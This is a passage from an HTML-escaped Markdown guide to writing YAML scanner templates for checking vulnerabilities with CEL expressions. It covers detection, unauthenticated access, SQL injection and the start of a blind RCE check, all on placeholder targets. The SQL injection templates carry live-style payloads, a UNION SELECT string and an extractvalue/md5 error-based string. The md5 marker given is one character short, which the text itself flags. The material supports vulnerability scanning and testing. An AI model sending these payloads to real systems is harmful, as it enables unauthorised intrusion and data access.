&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;login&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;default-user/default-pass &lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# for weak-password POCs&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXXX&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://vendor.com/security-advisory&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## CEL Expression Language
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Expressions are written in Google CEL. The response object and all &lt;span class="sb"&gt;`set`&lt;/span&gt; variables are available.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### Response Object Fields
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Field | Type | Description |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|------------------------------|--------|-------------|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`response.status`&lt;/span&gt; | int | HTTP status code |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`response.body`&lt;/span&gt; | bytes | Response body as bytes |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`response.raw_header`&lt;/span&gt; | bytes | Raw response headers as bytes |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`response.content_type`&lt;/span&gt; | string | Content-Type header value |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`response.headers`&lt;/span&gt; | map | Response headers map (lowercase keys) |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`response.title`&lt;/span&gt; | string | HTML &lt;span class="sb"&gt;`&amp;lt;title&amp;gt;`&lt;/span&gt; tag content |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`response.latency`&lt;/span&gt; | int | Response time in milliseconds |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### Bytes / String Functions
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Function | Signature | Description |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|----------|-----------|-------------|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`bcontains`&lt;/span&gt; | &lt;span class="sb"&gt;`(bytes).bcontains(bytes) bool`&lt;/span&gt; | Case-sensitive bytes substring check |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`icontains`&lt;/span&gt; | &lt;span class="sb"&gt;`(string).icontains(string) bool`&lt;/span&gt; | Case-insensitive string contains |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`bmatches`&lt;/span&gt; | &lt;span class="sb"&gt;`(string).bmatches(bytes) bool`&lt;/span&gt; | Regex match against bytes |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`bmatches`&lt;/span&gt; | &lt;span class="sb"&gt;`(string).bmatches(string) bool`&lt;/span&gt; | Regex match against string |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`bytes(s)`&lt;/span&gt; | &lt;span class="sb"&gt;`bytes(string) bytes`&lt;/span&gt; | Convert string to bytes |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`string(b)`&lt;/span&gt; | &lt;span class="sb"&gt;`string(int) string`&lt;/span&gt; | Convert int to string |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`base64(s)`&lt;/span&gt; | &lt;span class="sb"&gt;`base64(string) string`&lt;/span&gt; | Base64 encode string |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`base64Decode(s)`&lt;/span&gt; | &lt;span class="sb"&gt;`base64Decode(string) string`&lt;/span&gt; | Base64 decode |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`substr(s,start,end)`&lt;/span&gt; | &lt;span class="sb"&gt;`substr(string,int,int) string`&lt;/span&gt; | Substring extraction |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`len(s)`&lt;/span&gt; | &lt;span class="sb"&gt;`len(bytes\|string) int`&lt;/span&gt; | Length |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### Random Value Functions (for `set` values only)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Function | Description |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|----------|-------------|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`randomInt(min, max)`&lt;/span&gt; | Random integer in &lt;span class="sb"&gt;`[min, max)`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`randomLowercase(n)`&lt;/span&gt; | Random lowercase ASCII string of length n |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### Arithmetic in CEL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;You can do math directly in expressions:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.body.bcontains(bytes(string(rand1 + rand2)))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Vulnerability Type Templates
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 1. Detection / Fingerprint
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-vendor-product-detect&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/product/path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;follow_redirects&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.status == 200 &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.body.bcontains(b&amp;#34;&amp;lt;title&amp;gt;Product&amp;lt;/title&amp;gt;&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://vendor.com&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 2. Unauthenticated Access
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-vendor-product-unauth&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/api/admin/users&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;follow_redirects&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.status == 200 &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.content_type.icontains(&amp;#34;application/json&amp;#34;) &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.body.bcontains(b&amp;#34;\&amp;#34;username\&amp;#34;&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 3. SQL Injection
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-vendor-product-sqli&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/index.php?id=1%27%20AND%201%3D2%20UNION%20SELECT%20NULL,NULL,NULL--&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.body.bcontains(b&amp;#34;You have an error in your SQL syntax&amp;#34;) ||
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.body.bcontains(b&amp;#34;mysql_fetch&amp;#34;) ||
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; response.body.bcontains(b&amp;#34;ORA-01756&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Time-based blind (check latency):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.latency &amp;gt; 5000&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Error-based with injected marker (MD5 partial match from codebase pattern):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/index.php?id=1&amp;#34;) AND extractvalue(1,concat(0x7e,md5(99999999)))-- a&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.body.bcontains(b&amp;#34;ef775988943825d2871e1cfa75473ec&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(The above uses md5(99999999) = &lt;span class="sb"&gt;`ef775988...`&lt;/span&gt;; verify and substitute actual value.)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 4. RCE — Blind Math Proof (Recommended)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-vendor-product-rce&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rand1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomInt(800000000, 1000000000)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rand2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomInt(800000000, 1000000000)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/vulnerable/endpoint&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;application/json&lt;/span&gt;&lt;span class="w"&gt;
